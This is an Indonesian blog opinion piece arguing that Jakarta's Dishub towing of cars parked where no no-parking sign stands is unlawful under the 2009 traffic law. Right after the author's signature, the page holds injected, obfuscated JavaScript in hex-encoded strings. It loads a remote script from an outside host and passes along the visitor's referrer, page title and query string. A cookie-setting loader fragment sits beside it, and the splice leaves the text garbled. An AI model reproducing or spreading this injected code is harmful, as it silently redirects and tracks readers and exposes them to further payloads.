‘PENDEREKAN ILEGAL’

DALAM Beberapa hari ini, aku banyak membaca di medsos atau WA Group atau media lainnya tentang penderekan mobil yang parkir di ruang jalan. Petugas gabungan Dishub melakukan penderekan di jalan raya, jalan biasa bahkan di jalan dalam perumahan.

Mobil yang sudah diderek dan bila pemilik mobil hendak menembusnya, wajib membayar uang denda sebesar Rp 500.000, perhari yang dibayar via Bank DKI. Dasar hukum yang digunakan untuk penderekan mobil dan hukuman denda ini adalah Peraturan Daerah Provinsi DKI Jakarta No. 5 Tahun 2014.

Sebagai warga negara, aku setuju penderekan mobil yang dilakukan oleh aparatur hukum. Asalkan sesuai prosedur hukum yang berlaku, sebab negara kita adalah negara hukum.

NKRI sebagai sebuah negara yang memiliki Konstitusi yakni UUD 1945. Dari dalam UUD 1945 ditentukan Negara Indonesia adalah sebuah negara hukum (Rechtstaat).

UU Nomor 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan berbeda dengan peraturan hukum pidana yang lain. Jika kita memukul seseorang akan dihukum. Meskipun di tempat itu tidak ada rambu LARANGAN MEMUKUL ORANG. Siapa yang memukul orang akan dihukum. Karena telah diatur di dalam KUHP.

Tapi lain halnya dengan peraturan lalu lintas. Jika selama di tempat itu atau jalan itu tidak ada tanda rambu LARANGAN BERHENTI atau LARANGAN PARKIR. Itu berarti tidak ada larangan untuk berhenti atau untuk parkir bagi pengendara di situ.

Aku masih ingat saat kuliah di Fakultas Hukum. Dosenku mengajarkan, bila terdapat rambu lalu lintas, tetapi rambu itu tertutup pohon sehingga tidak kelihatan oleh pengendara mobil, maka pengendara itu tidak bisa disalahkan. Apalagi tidak ada tanda rambu lalu lintas?

Bila petugas menderek mobil yang sedang parkir, sementara di jalan atau tempat itu tidak ada rambu larangan parkir atau berhenti. Tentu petugas itu salah.

Pengendara tidak bisa dihukum membayar denda. Bukan polisi atau petugas dishub atau gubernur yang berhak menghukum orang membayar denda. Tapi Hakimlah yang berhak menghukum pelanggar lalu lintas, bila mereka benar-benar melanggar rambu lalu lintas.

Bila tidak ada rambu lalu lintas di situ. Apa yang mereka langgar ? Tentu hakim tidak akan menghukum orang yang tak bersalah. Sebab azas hukum menentukan, tidak ada satupun orang boleh dihukum pidana, tanpa peraturan itu ada terlebih dahulu.

Lalu bagaimana bila Perda itu tidak sinkron dengan UU Lalu Lintas dan Angkutan Jalan ? Maka yang berlaku adalah Undang Undang Lalu Lintas. Sebab hirarki Perda di bawah Undang Undang. Sedangkan azas hukum menentukan, hukum yang di bawah tidak boleh bertentangan dengan hukum yang di atasnya.

Dari peristiwa hukum penderekan ini, yang salah, justru petugas yang melakukan penderekan di jalan yang tak ada rambu LARANGAN PARKIR atau LARANGAN BERHENTI.

Demikian sedikit tulisanku, sebagai tanggungjawab dari seorang warga negara yang tinggal di sebuah negara hukum.

Jakarta, 12 Oktober 2017
Kurnianto Purnama, SH.MH. 9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lt;script type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *